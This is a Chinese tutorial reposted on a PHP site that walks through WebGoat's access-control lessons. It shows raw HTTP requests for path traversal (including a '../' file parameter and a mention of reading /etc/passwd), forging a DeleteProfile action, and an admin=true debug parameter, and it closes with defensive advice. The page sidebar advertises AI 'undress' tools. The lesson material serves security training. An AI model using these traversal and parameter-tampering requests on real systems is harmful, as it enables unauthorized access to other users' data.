Table of Contents
1. 绕过基于路径的访问控制方案
2.基于角色的访问控制
3. 远程管理访问
Home Database Mysql Tutorial WebGoat学习访问控制缺陷( Access Control Flaws)

WebGoat学习访问控制缺陷( Access Control Flaws)

Jun 07, 2016 pm 03:38 PM
access study control defect access

在一个基于角色的 访问 控制 方案中,角色代表了一组 访问 权限和特权。一个用户可以被分配一个或多个角色。一个基于角色的 访问 控制 方案通常有两个部分组成:角色权限管理和角色分配。一个被破坏的基于角色的 访问 控制 方案可能允许用户执行不允许他/她

  在一个基于角色的访问控制方案中,角色代表了一组访问权限和特权。一个用户可以被分配一个或多个角色。一个基于角色的访问控制方案通常有两个部分组成:角色权限管理和角色分配。一个被破坏的基于角色的访问控制方案可能允许用户执行不允许他/她的被分配的角色,或以某种方式允许特权升级到未经授权的角色的访问

1. 绕过基于路径的访问控制方案

  在一个基于路径的访问控制方案中,攻击者可以通过提供相对路径信息遍历路径。因此,攻击者可以使用相对路径访问那些通常任何人都不能直接访问或直接请求就会被拒绝的文件。

  例如在一个基于权限的卖家管理系统,每个卖家只能操作自己的订单信息和商品信息,现在有卖家A和卖家B。A的商品信息被放在/webapps/A/下,例如/webapps/A/item1.html。A可以通过商品列表接口访问自己的商品信息,服务器验证A的身份后将A目录下的商品列表返回给客户端。A浏览自己商品时会向服务器发送访问请求,请求如下:

POST http://localhost:8080/WebGoat/attack?Screen=57&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=57&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

File=item1.html&SUBMIT=View+File
Copy after login

  服务器收到请求后在A的目录下获取到item1.html并将结果返回给客户端。比较粗心的程序员在获取商品详情时没有再次校验卖家对目录的权限访问,黑客可意利用这个疏忽通过修改参数来欺骗服务器。例如修改请求参数如下:

POST http://localhost:8080/WebGoat/attack?Screen=57&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=57&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

File=../B/xxx.html&SUBMIT=View+File
Copy after login

  服务器收到请求后,验证A用户是登陆的,然后将根目录设置为/webapps/A/访问../B/xxx.html,实际访问到了卖家B的商品信息/webapps/B/xxx.html,从而将B的商品详情(包括成本价信息)泄露给了A卖家。更为脆弱的系统可能会造成重要信息的泄露,例如将请求中File的参数设置成/etc/passwd或者/etc/passwd,则可能会获取到系统用户的信息,造成更为严重的损失。

2.基于角色的访问控制

  很多网站都尝试使用基于角色的方式严格限制资源访问,但开发人员在实现这类解决方案时容易出现疏忽。例如对于资源S,Tom和John均具有访问权限,John相对于Tom可以修改和删除资源S。客户Tom登录系统后服务器返回Tom的访问权限,并返回只有view按钮的html页面:

WebGoat学习访问控制缺陷( Access Control Flaws)

  Jone登录系统后服务器返回带有view和delete的html页面:

WebGoat学习访问控制缺陷( Access Control Flaws)

  点击delete操作,客户端向服务器发送如下请求:

POST http://localhost:8080/WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=65&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

employee_id=105&action=DeleteProfile 
Copy after login

  服务器受到上述请求后,执行了delete操作。tom在view资源S时会向服务器发送如下请求:

POST http://localhost:8080/WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 34
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=65&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

employee_id=105&action=ViewProfile  
Copy after login

  tom知道上述信息后可以尝试把自己的post参数做下修改,将post的参数串修改为employee_id=105&action=DeleteProfile发送给服务器。粗心的程序员因为疏忽没有再次校验tom的权限,导致tom成功执行了john的delete权限。同样的方法tom通过修改url执行系统管理员admin的操作,对服务器造成威胁。

  在通过view请求tom可以查看相关资料的详细信息。

WebGoat学习访问控制缺陷( Access Control Flaws)

  从上面请求参数中可以看出资料的idemployee_id表示,如果尝试修改employee_id=101重新发送请求,则会收到服务器的答复如下:

WebGoat学习访问控制缺陷( Access Control Flaws)

  成功的绕过展现层的限制访问到了Larry的资料。

  要预防上述操作服务器端服务务必要加强请求参数的过滤校验,以及权限的验证,每个请求都不要信任之前所做的操作,要不信任所有外部输入的参数,加强校验,尤其是对比较敏感的操作比如支付、删除、改价操作。如果多个接口共同对外提供服务,我们可以通过展示层的包装和内部跳转逻辑使整个流程处在一个理想的环境,但是只要各个接口独立就会被黑客所利用制造不合理的请求;因此系统在设计的时候不要仅仅考虑正常的情况是什么样,还要考虑异常(人为)情况的处理,务必要在每个环节做好严格的参数校验和权限校验,坚持不信任原则。

3. 远程管理访问

  很多网站开发人员在脚本中预留了相关的参数接口,一旦该参数被后台程序确认,则访问者的权限会被放大,浏览到先前不能访问的资源,如:程序调试日志、隐藏功能菜单等。例如某接口想设置一个admin=true的参数使开发人员可以在任何地方打开调试信息或者后台数据用于调试。例如http://localhost:8080/WebGoat/attack?Screen=28&menu=2000页面只会展示用户自身的身份信息,如果开发人员喜欢进行一些调试修改URL为:http://localhost:8080/WebGoat/attack?Screen=28&menu=2000&admin=true,服务器返回所有用户的详细资料,方便了外网的调试。

 WebGoat学习访问控制缺陷( Access Control Flaws)

  外网调试固然方便,但方便自己的同时也方便了不法人员,互联网上是没有秘密的,一旦密码被别人获取,就可以由此攻击对应的服务,造成不必要的损失,在实际操作时,一定要保证外网的服务关闭相应的调试功能。

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to disable background applications in Windows 11_Windows 11 tutorial to disable background applications How to disable background applications in Windows 11_Windows 11 tutorial to disable background applications May 07, 2024 pm 04:20 PM

1. Open settings in Windows 11. You can use Win+I shortcut or any other method. 2. Go to the Apps section and click Apps & Features. 3. Find the application you want to prevent from running in the background. Click the three-dot button and select Advanced Options. 4. Find the [Background Application Permissions] section and select the desired value. By default, Windows 11 sets power optimization mode. It allows Windows to manage how applications work in the background. For example, once you enable battery saver mode to preserve battery, the system will automatically close all apps. 5. Select [Never] to prevent the application from running in the background. Please note that if you notice that the program is not sending you notifications, failing to update data, etc., you can

How to convert deepseek pdf How to convert deepseek pdf Feb 19, 2025 pm 05:24 PM

DeepSeek cannot convert files directly to PDF. Depending on the file type, you can use different methods: Common documents (Word, Excel, PowerPoint): Use Microsoft Office, LibreOffice and other software to export as PDF. Image: Save as PDF using image viewer or image processing software. Web pages: Use the browser's "Print into PDF" function or the dedicated web page to PDF tool. Uncommon formats: Find the right converter and convert it to PDF. It is crucial to choose the right tools and develop a plan based on the actual situation.

Can't allow access to camera and microphone in iPhone Can't allow access to camera and microphone in iPhone Apr 23, 2024 am 11:13 AM

Are you getting "Unable to allow access to camera and microphone" when trying to use the app? Typically, you grant camera and microphone permissions to specific people on a need-to-provide basis. However, if you deny permission, the camera and microphone will not work and will display this error message instead. Solving this problem is very basic and you can do it in a minute or two. Fix 1 – Provide Camera, Microphone Permissions You can provide the necessary camera and microphone permissions directly in settings. Step 1 – Go to the Settings tab. Step 2 – Open the Privacy & Security panel. Step 3 – Turn on the “Camera” permission there. Step 4 – Inside, you will find a list of apps that have requested permission for your phone’s camera. Step 5 – Open the “Camera” of the specified app

What does dao mean in java What does dao mean in java Apr 21, 2024 am 02:08 AM

DAO (Data Access Object) in Java is used to separate application code and persistence layer, its advantages include: Separation: Independent from application logic, making it easier to modify it. Encapsulation: Hide database access details and simplify interaction with the database. Scalability: Easily expandable to support new databases or persistence technologies. With DAOs, applications can call methods to perform database operations such as create, read, update, and delete entities without directly dealing with database details.

What does field mean in java What does field mean in java Apr 25, 2024 pm 10:18 PM

In Java, a "field" is a data member in a class or interface that is used to store data or state. The properties of field include: type (can be any Java data type), access rights, static (belongs to a class rather than an instance), final (immutable) and transient (not serialized). Field is used to store state information of a class or interface, such as storing object data and maintaining object state.

How to read the Oracle stored procedure execution plan How to read the Oracle stored procedure execution plan Apr 18, 2024 pm 10:18 PM

Oracle stored procedure execution plans provide execution information, including access paths, estimated number of rows, join order, and costs. To view the execution plan, execute the EXPLAIN PLAN command and look for the "Execution Plan" section. The execution plan contains a header and body, showing in detail the ID, operation type, number of rows, cost, access path, filter conditions, involved tables and indexes, and the connection sequence if there is a connection.

How does the Java reflection mechanism modify the behavior of a class? How does the Java reflection mechanism modify the behavior of a class? May 03, 2024 pm 06:15 PM

The Java reflection mechanism allows programs to dynamically modify the behavior of classes without modifying the source code. By operating the Class object, you can create instances through newInstance(), modify private field values, call private methods, etc. Reflection should be used with caution, however, as it can cause unexpected behavior and security issues, and has a performance overhead.

How to cross-domain iframe in vue How to cross-domain iframe in vue May 02, 2024 pm 10:48 PM

Ways to solve iframe cross-domain issues in Vue: CORS: Enable CORS support in the backend server and use XMLHttpRequest or fetch API to send CORS requests in Vue. JSONP: Dynamically load JSONP scripts in Vue using the JSONP endpoint in the backend server. Proxy server: Set up a proxy server to forward requests, use a third-party library (such as axios) in Vue to send requests and set the proxy server URL.

See all articles